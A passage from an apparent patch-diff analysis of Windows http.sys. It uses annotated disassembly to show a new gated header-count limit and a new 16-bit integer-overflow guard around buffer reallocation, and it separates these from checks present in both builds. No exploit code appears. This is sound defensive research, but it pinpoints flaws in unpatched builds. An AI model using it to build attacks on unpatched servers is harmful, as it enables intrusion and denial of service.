&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UxReadBoundedULongSetting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;regKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;MaxHeadersCount&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// default&lt;/span&gt;
&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="mh"&gt;0x32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// min = 50&lt;/span&gt;
&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// max = 65535&lt;/span&gt;
&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// DWORD&lt;/span&gt;
&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1124&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* MaxHeadersCount */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Adding &lt;code&gt;MaxHeadersCount&lt;/code&gt; at &lt;code&gt;cfg+0x1124&lt;/code&gt; pushed &lt;code&gt;MaxFieldLength&lt;/code&gt; from &lt;code&gt;cfg+0x1124&lt;/code&gt; to &lt;code&gt;cfg+0x1128&lt;/code&gt;; this is the source of the struct-offset churn observed in several other functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Patched &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; — the new count gate (&lt;code&gt;0x1C000FB13&lt;/code&gt;–&lt;code&gt;0x1C000FB71&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB13&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;UxKirMaxHeadersCountLimit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; r12b = 0; gate byte&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB1D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000FB76&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; gate off → old path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; rax = server config&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB26&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; r9d = header-pair count (*(args+8))&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB29&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1124&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; edx = MaxHeadersCount (new field)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; eax = MaxHeadersCount + 4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB35&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000FB7A&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; count &amp;lt;= limit+4 → continue&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB37&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;WPP_MAIN_CB.Queue&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB40&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000FB5A&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB46&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; WPP trace message id 0x5E&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;WPP_SF_qLd&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB5A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; http.sys internal error code&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_C0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000040h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; stored NTSTATUS value&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; *status = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000FB71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00104C3&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; error cleanup&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Unpatched &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; reaches its header loop directly (&lt;code&gt;0x1C000F4CD xor r15d,r15d&lt;/code&gt; / &lt;code&gt;0x1C000F4D0 cmp [r12+8], ebx&lt;/code&gt; / &lt;code&gt;0x1C000F4D5 jbe loc_1C000F6E6&lt;/code&gt;) with no gate byte, no server-config read, and no &lt;code&gt;MaxHeadersCount&lt;/code&gt; comparison.&lt;/p&gt;
&lt;h3&gt;Loop-termination check — present in BOTH builds&lt;/h3&gt;
&lt;p&gt;Patched &lt;code&gt;0x1C000FBAF cmp [rdi], ecx&lt;/code&gt; / &lt;code&gt;0x1C000FBB1 jbe loc_1C001024A&lt;/code&gt; (with &lt;code&gt;ecx = 0&lt;/code&gt;) is the loop-entry/termination guard on the header-pair count. It corresponds exactly to unpatched &lt;code&gt;0x1C000F4D0 cmp [r12+8], ebx&lt;/code&gt; / &lt;code&gt;jbe loc_1C000F6E6&lt;/code&gt;. It is not an added count check.&lt;/p&gt;
&lt;h3&gt;Host / cookie occurrence counters — saturation present in BOTH builds&lt;/h3&gt;
&lt;p&gt;The per-name occurrence counters are already saturated in the unpatched build; the patch does not add this. Unpatched:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; &amp;#39;host&amp;#39; counter (var_A0)                     ; &amp;#39;cookie&amp;#39; counter (var_A4)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0029F62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_A0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="no"&gt;C0029FAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_A4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0029F65&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFh&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="no"&gt;C0029FAF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0029F68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0029F6F&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="no"&gt;C0029FB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_1C000F6CC&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0029F6A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="no"&gt;C0029FB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0029F6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_A0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="no"&gt;C0029FBA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_A4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched uses the same &lt;code&gt;cmp X, 0FFFFFFFFh / jnb / inc&lt;/code&gt; idiom on the reallocated registers/slots (host in &lt;code&gt;r12d @ 0x1C000FF4B&lt;/code&gt;, cookie in &lt;code&gt;var_B0 @ 0x1C000FF9D&lt;/code&gt;). This is register/slot reallocation from recompilation, not a new guard.&lt;/p&gt;
&lt;h3&gt;Patched &lt;code&gt;UlpParseNextRequest&lt;/code&gt; — integer-overflow guard (&lt;code&gt;0x1C0006FE8&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0006FE8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;UxKirRefBufferOverflowCheck&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; r12b = 0; gate byte&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0006FEF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0007087&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; gate off → old unchecked path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0006FF5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;pusResult&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0006FF9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlUShortAdd&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; NEW: checked capacity+5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0006FFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0007127&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INTEGER_OVERFLOW → bail&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007028&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePool3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007056&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000707E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;640&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; store CHECKED new capacity&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;RtlUShortAdd @ 0x1C001FBB8&lt;/code&gt; (new, absent in unpatched):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; capacity + 5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBBB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; 16-bit overflow?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBBE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C001FBC5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBC0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; no overflow → result&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBC5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFh&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; overflow → saturate&lt;/span&gt;
